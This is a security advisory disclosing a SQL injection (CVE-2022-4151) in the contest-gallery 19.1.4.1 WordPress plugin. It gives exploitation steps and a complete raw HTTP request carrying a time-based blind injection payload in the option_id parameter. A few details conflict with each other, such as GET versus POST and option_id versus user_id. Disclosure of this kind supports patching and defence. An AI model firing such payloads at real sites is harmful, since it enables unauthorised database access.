contest-gallery 19.1.4.1 (2/15) WordPress plug-in SQL injection
Vulnerability Metadata
| Key | Value |
|---|---|
| Date of Disclosure | December 05 2022 |
| Affected Software | contest-gallery |
| Affected Software Type | WordPress plugin |
| Version | 19.1.4.1 |
| Weakness | SQL Injection |
| CWE ID | CWE-89 |
| CVE ID | CVE-2022-4151 |
| CVSS 3.x Base Score | n/a |
| CVSS 2.0 Base Score | n/a |
| Reporter | Kunal Sharma, Daniel Krohmer |
| Reporter Contact | k_sharma19@informatik.uni-kl.de |
| Link to Affected Software | https://wordpress.org/plugins/contest-gallery/ |
| Link to Vulnerability DB | https://nvd.nist.gov/vuln/detail/CVE-2022-4151 |
Vulnerability Description
The option_id GET query parameter in contest-gallery 19.1.4.1 is vulnerable to SQL Injection. An authenticated attacker may abuse the Export all fields and total rating functionality in cg_images_data_csv_export function inside export-images-data.php. This leads to a threat actor crafting a malicious GET request.
Exploitation Guide
Login as admin user. This attack requires at least admin privileges.
Create a New Gallery, if no gallery was created before.
Change the Gallery name.
Click on Edit gallery.
Click Export all fields and total rating
Clicking Export all fields and total rating triggers the vulnerable request, the option_id GET parameter is the vulnerable query parameter.
A POC may look like the following request:
In the application code, the vulnerability is triggered by un-sanitized user input of user_id at line 21 in ./v10/v10-admin/export/export-images-data.php.
At lines 38-43 in ./v10/v10-admin/export/export-images-data.php the database query call on $GalleryID leads to SQL Injection.
Exploit Payload
Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.
The SQL injection can be triggered by sending the request below:
POST /wp-admin/admin.php?page=contest-gallery/index.php&option_id=8+AND+(SELECT+7394+FROM+(SELECT(SLEEP(3*2)))UrUZ)&edit_gallery=true HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=kaiba%7C1668473199%7CmFhoaVtvxA8yev5wAqpggBLhRsiY0PfpEBma5kPRq8T%7Cb131f9f1d3b9498930de4f620580d0214b838d43b71fdedf92328ca0032bbcdb; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=kaiba%7C1668473199%7CmFhoaVtvxA8yev5wAqpggBLhRsiY0PfpEBma5kPRq8T%7Cf386bbd185ec8df8d8f91a0b8e8c5431b81e06b292212515a24d8c73b7d47d52; wp-settings-1=mfold%3Do%26libraryContent%3Dbrowse; wp-settings-time-1=1668300399
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
contest_gal1ery_post_create_data_csv=true